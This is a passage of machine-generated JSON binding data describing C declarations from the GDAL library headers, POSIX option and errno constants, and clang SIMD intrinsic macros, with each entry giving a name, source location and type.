{ "tag": "function", "name": "VSIInstallStdinHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:387:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallHdfsHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:388:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallWebHdfsHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:389:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallStdoutHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:390:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallSparseFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:391:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallTarFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:392:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallCryptFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:393:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSISetCryptKey", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:394:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pabyKey", "type": { "tag": ":pointer", "type": { "tag": "GByte" } } }, { "tag": "parameter", "name": "nKeySize", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSICleanupFileManager", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:396:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIFileFromMemBuffer", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:399:19", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilename", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "pabyData", "type": { "tag": ":pointer", "type": { "tag": "GByte" } } }, { "tag": "parameter", "name": "nDataLength", "type": { "tag": "vsi_l_offset" } }, { "tag": "parameter", "name": "bTakeOwnership", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": ":pointer", "type": { "tag": "VSILFILE" } } },
{ "tag": "function", "name": "VSIGetMemFileBuffer", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:403:16", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilename", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "pnDataLength", "type": { "tag": ":pointer", "type": { "tag": "vsi_l_offset" } } }, { "tag": "parameter", "name": "bUnlinkAndSeize", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": ":pointer", "type": { "tag": "GByte" } } },
{ "tag": "typedef", "ns": 0, "name": "VSIWriteFunction", "location": "/usr/include/gdal/cpl_vsi.h:408:18", "type": { "tag": ":function-pointer" } },
{ "tag": "function", "name": "VSIStdoutSetRedirection", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:409:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pFct", "type": { "tag": "VSIWriteFunction" } }, { "tag": "parameter", "name": "stream", "type": { "tag": ":pointer", "type": { "tag": "FILE" } } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSITime", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:416:23", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": ":pointer", "type": { "tag": ":unsigned-long", "bit-size": 64, "bit-alignment": 64 } } }], "return-type": { "tag": ":unsigned-long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "function", "name": "VSICTime", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:417:21", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": ":unsigned-long", "bit-size": 64, "bit-alignment": 64 } }], "return-type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } },
{ "tag": "function", "name": "VSIGMTime", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:418:20", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pnTime", "type": { "tag": ":pointer", "type": { "tag": "time_t" } } }, { "tag": "parameter", "name": "poBrokenTime", "type": { "tag": ":pointer", "type": { "tag": ":struct", "name": "tm", "id": 42 } } }], "return-type": { "tag": ":pointer", "type": { "tag": ":struct", "name": "tm", "id": 42 } } },
{ "tag": "function", "name": "VSILocalTime", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:420:20", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pnTime", "type": { "tag": ":pointer", "type": { "tag": "time_t" } } }, { "tag": "parameter", "name": "poBrokenTime", "type": { "tag": ":pointer", "type": { "tag": ":struct", "name": "tm", "id": 42 } } }], "return-type": { "tag": ":pointer", "type": { "tag": ":struct", "name": "tm", "id": 42 } } },
{ "tag": "struct", "ns": 0, "name": "CPLVirtualMem", "id": 0, "location": "/usr/include/gdal/cpl_virtualmem.h:62:16", "bit-size": 0, "bit-alignment": 0, "fields": [] },
{ "tag": "typedef", "ns": 0, "name": "CPLVirtualMem", "location": "/usr/include/gdal/cpl_virtualmem.h:62:30", "type": { "tag": "struct", "ns": 0, "name": "CPLVirtualMem", "id": 0, "location": "/usr/include/gdal/cpl_virtualmem.h:62:16", "bit-size": 0, "bit-alignment": 0, "fields": [] } },
{ "tag": "typedef", "ns": 0, "name": "CPLVirtualMemCachePageCbk", "location": "/usr/include/gdal/cpl_virtualmem.h:74:16", "type": { "tag": ":function-pointer" } },
{ "tag": "typedef", "ns": 0, "name": "CPLVirtualMemUnCachePageCbk", "location": "/usr/include/gdal/cpl_virtualmem.h:90:16", "type": { "tag": ":function-pointer" } },
{ "tag": "typedef", "ns": 0, "name": "CPLVirtualMemFreeUserData", "location": "/usr/include/gdal/cpl_virtualmem.h:99:16", "type": { "tag": ":function-pointer" } },
{ "tag": "enum", "ns": 0, "name": "", "id": 61, "location": "/usr/include/gdal/cpl_virtualmem.h:102:9", "fields": [{ "tag": "field", "name": "VIRTUALMEM_READONLY", "value": 0 }, { "tag": "field", "name": "VIRTUALMEM_READONLY_ENFORCED", "value": 1 }, { "tag": "field", "name": "VIRTUALMEM_READWRITE", "value": 2 }] },
{ "tag": "typedef", "ns": 0, "name": "CPLVirtualMemAccessMode", "location": "/usr/include/gdal/cpl_virtualmem.h:113:3", "type": { "tag": ":enum", "name": "", "id": 61 } },
{ "tag": "function", "name": "CPLGetPageSize", "ns": 0, "location": "/usr/include/gdal/cpl_virtualmem.h:121:16", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": "size_t" } },
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{ "tag": "function", "name": "CPLIsVirtualMemFileMapAvailable", "ns": 0, "location": "/usr/include/gdal/cpl_virtualmem.h:182:13", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
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{ "tag": "typedef", "ns": 0, "name": "GDALRasterAttributeTableH", "location": "/usr/include/gdal/gdal.h:267:15", "type": { "tag": ":pointer", "type": { "tag": ":void" } } },
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{ "tag": "typedef", "ns": 0, "name": "GDALTileOrganization", "location": "/usr/include/gdal/gdal.h:1243:3", "type": { "tag": ":enum", "name": "", "id": 95 } },
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{ "tag": "function", "name": "GDALGetJPEG2000Structure", "ns": 0, "location": "/usr/include/gdal/gdal.h:1280:21", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilename", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "papszOptions", "type": { "tag": "CSLConstList" } }], "return-type": { "tag": ":pointer", "type": { "tag": "CPLXMLNode" } } },
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{ "tag": "const", "name": "DEFINE_OGRFeatureH", "ns": 0, "location": "/usr/include/gdal/ogr_api.h:288:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "OGR_API_H_INCLUDED", "ns": 0, "location": "/usr/include/gdal/ogr_api.h:32:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "OGRERR_NOT_ENOUGH_MEMORY", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:294:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 2 },
{ "tag": "const", "name": "OGRERR_NOT_ENOUGH_DATA", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:293:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "OGRERR_NONE", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:292:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 0 },
{ "tag": "const", "name": "OGRERR_NON_EXISTING_FEATURE", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:301:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 9 },
{ "tag": "const", "name": "OGRERR_INVALID_HANDLE", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:300:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 8 },
{ "tag": "const", "name": "OGRERR_UNSUPPORTED_SRS", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:299:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 7 },
{ "tag": "const", "name": "OGRERR_FAILURE", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:298:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 6 },
{ "tag": "const", "name": "OGRERR_CORRUPT_DATA", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:297:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 5 },
{ "tag": "const", "name": "OGRERR_UNSUPPORTED_OPERATION", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:296:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 4 },
{ "tag": "const", "name": "OGRERR_UNSUPPORTED_GEOMETRY_TYPE", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:295:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 3 },
{ "tag": "const", "name": "_POSIX_READER_WRITER_LOCKS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:134:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 200809 },
{ "tag": "const", "name": "_POSIX_SHELL", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:137:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "_POSIX_TIMEOUTS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:140:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 200809 },
{ "tag": "const", "name": "_POSIX_SPIN_LOCKS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:143:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 200809 },
{ "tag": "const", "name": "_LFS64_STDIO", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:119:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "_POSIX_SHARED_MEMORY_OBJECTS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:122:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 200809 },
{ "tag": "const", "name": "_POSIX_CPUTIME", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:125:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 0 },
{ "tag": "const", "name": "_POSIX_THREAD_CPUTIME", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:128:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 0 },
{ "tag": "const", "name": "_POSIX_REGEXP", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:131:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "_POSIX_PRIORITIZED_IO", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:111:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 200809 },
{ "tag": "const", "name": "_LFS64_ASYNCHRONOUS_IO", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:114:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "_LFS_LARGEFILE", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:117:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "_LFS64_LARGEFILE", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:118:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "_POSIX_REALTIME_SIGNALS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:103:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 200809 },
{ "tag": "const", "name": "_POSIX_ASYNCHRONOUS_IO", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:106:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 200809 },
{ "tag": "const", "name": "_POSIX_ASYNC_IO", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:107:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "_LFS_ASYNCHRONOUS_IO", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:109:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "_POSIX_SPAWN", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:146:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 200809 },
{ "tag": "const", "name": "_POSIX_TIMERS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/posix_opt.h:149:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 200809 },
{ "tag": "const", "name": "EISCONN", "ns": 0, "location": "/usr/include/asm-generic/errno.h:89:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 106 },
{ "tag": "const", "name": "ENOTCONN", "ns": 0, "location": "/usr/include/asm-generic/errno.h:90:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 107 },
{ "tag": "const", "name": "ODsCCreateGeomFieldAfterCreateLayer", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:773:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "CreateGeomFieldAfterCreateLayer" },
{ "tag": "const", "name": "ESHUTDOWN", "ns": 0, "location": "/usr/include/asm-generic/errno.h:91:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 108 },
{ "tag": "const", "name": "ODsCDeleteLayer", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:772:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "DeleteLayer" },
{ "tag": "const", "name": "ETOOMANYREFS", "ns": 0, "location": "/usr/include/asm-generic/errno.h:92:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 109 },
{ "tag": "const", "name": "ODsCCreateLayer", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:771:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "CreateLayer" },
{ "tag": "const", "name": "ETIMEDOUT", "ns": 0, "location": "/usr/include/asm-generic/errno.h:93:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 110 },
{ "tag": "const", "name": "OLCMeasuredGeometries", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:769:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "MeasuredGeometries" },
{ "tag": "const", "name": "ODsCMeasuredGeometries", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:777:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "MeasuredGeometries" },
{ "tag": "const", "name": "ENETRESET", "ns": 0, "location": "/usr/include/asm-generic/errno.h:85:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 102 },
{ "tag": "const", "name": "ECONNABORTED", "ns": 0, "location": "/usr/include/asm-generic/errno.h:86:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 103 },
{ "tag": "const", "name": "ECONNRESET", "ns": 0, "location": "/usr/include/asm-generic/errno.h:87:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 104 },
{ "tag": "const", "name": "ODsCTransactions", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:775:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "Transactions" },
{ "tag": "const", "name": "ENOBUFS", "ns": 0, "location": "/usr/include/asm-generic/errno.h:88:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 105 },
{ "tag": "const", "name": "ODsCCurveGeometries", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:774:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "CurveGeometries" },
{ "tag": "const", "name": "OLCFastSetNextByIndex", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:764:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "FastSetNextByIndex" },
{ "tag": "const", "name": "ODsCEmulatedTransactions", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:776:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "EmulatedTransactions" },
{ "tag": "const", "name": "OLCDeleteFeature", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:763:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "DeleteFeature" },
{ "tag": "const", "name": "OLCTransactions", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:762:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "Transactions" },
{ "tag": "const", "name": "OLCAlterFieldDefn", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:761:9", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, "value": "AlterFieldDefn" },
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{ "tag": "const", "name": "_m_pminsw", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2988:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "_CS_XBS5_ILP32_OFF32_CFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:573:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1100 },
{ "tag": "const", "name": "_m_pminub", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2989:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "_CS_LFS_LIBS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:560:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1002 },
{ "tag": "const", "name": "_m_pmovmskb", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2990:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "_m_pmulhuw", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2991:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "_CS_LFS_LDFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:558:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1001 },
{ "tag": "const", "name": "_CS_LFS64_LINTFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:570:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1007 },
{ "tag": "const", "name": "_m_pshufw", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2992:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "_CS_LFS64_CFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:564:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1004 },
{ "tag": "const", "name": "_m_maskmovq", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2993:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "_CS_LFS_LINTFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:562:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1003 },
{ "tag": "const", "name": "_m_pavgb", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2994:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "_CS_XBS5_ILP32_OFFBIG_LDFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:583:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1105 },
{ "tag": "const", "name": "_CS_XBS5_ILP32_OFFBIG_CFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:581:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1104 },
{ "tag": "const", "name": "_CS_XBS5_ILP32_OFFBIG_LINTFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:587:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1107 },
{ "tag": "const", "name": "ECONNREFUSED", "ns": 0, "location": "/usr/include/asm-generic/errno.h:94:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 111 },
{ "tag": "const", "name": "EHOSTDOWN", "ns": 0, "location": "/usr/include/asm-generic/errno.h:95:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 112 },
{ "tag": "const", "name": "_CS_XBS5_ILP32_OFFBIG_LIBS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:585:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1106 },
{ "tag": "const", "name": "EHOSTUNREACH", "ns": 0, "location": "/usr/include/asm-generic/errno.h:96:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 113 },
{ "tag": "const", "name": "_CS_XBS5_ILP32_OFF32_LIBS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:577:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1102 },
{ "tag": "const", "name": "EALREADY", "ns": 0, "location": "/usr/include/asm-generic/errno.h:97:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 114 },
{ "tag": "const", "name": "_CS_XBS5_ILP32_OFF32_LDFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:575:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1101 },
{ "tag": "const", "name": "EINPROGRESS", "ns": 0, "location": "/usr/include/asm-generic/errno.h:98:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 115 },
{ "tag": "const", "name": "ESTALE", "ns": 0, "location": "/usr/include/asm-generic/errno.h:99:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 116 },
{ "tag": "const", "name": "_m_pextrw", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2984:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "_CS_XBS5_ILP32_OFF32_LINTFLAGS", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/confname.h:579:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1103 },
{ "tag": "const", "name": "EUCLEAN", "ns": 0, "location": "/usr/include/asm-generic/errno.h:100:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 117 },
{ "tag": "const", "name": "ogrZMarker", "ns": 0, "location": "/usr/include/gdal/ogr_core.h:464:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 554850065 },
{ "tag": "const", "name": "_MM_FLUSH_ZERO_OFF", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2958:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 0 },
{ "tag": "const", "name": "_MM_FLUSH_ZERO_ON", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2957:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 32768 },
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{ "tag": "const", "name": "_MM_ROUND_TOWARD_ZERO", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2953:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 24576 },
{ "tag": "const", "name": "_MM_CMPINT_GT", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512fintrin.h:57:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 6 },
{ "tag": "const", "name": "_MM_ROUND_UP", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2952:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 16384 },
{ "tag": "const", "name": "_MM_ROUND_DOWN", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2951:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 8192 },
{ "tag": "const", "name": "_MM_ROUND_NEAREST", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2950:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 0 },
{ "tag": "const", "name": "_MM_EXCEPT_INEXACT", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2939:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 32 },
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{ "tag": "const", "name": "_MM_MASK_INEXACT", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2947:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 4096 },
{ "tag": "const", "name": "_MM_MASK_UNDERFLOW", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2946:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 2048 },
{ "tag": "const", "name": "_MM_MASK_OVERFLOW", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2945:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1024 },
{ "tag": "const", "name": "_MM_MASK_DIV_ZERO", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2944:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 512 },
{ "tag": "const", "name": "_MM_MASK_DENORM", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2943:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 256 },
{ "tag": "const", "name": "_MM_MASK_INVALID", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2942:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 128 },
{ "tag": "const", "name": "_MM_EXCEPT_MASK", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2940:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 63 },
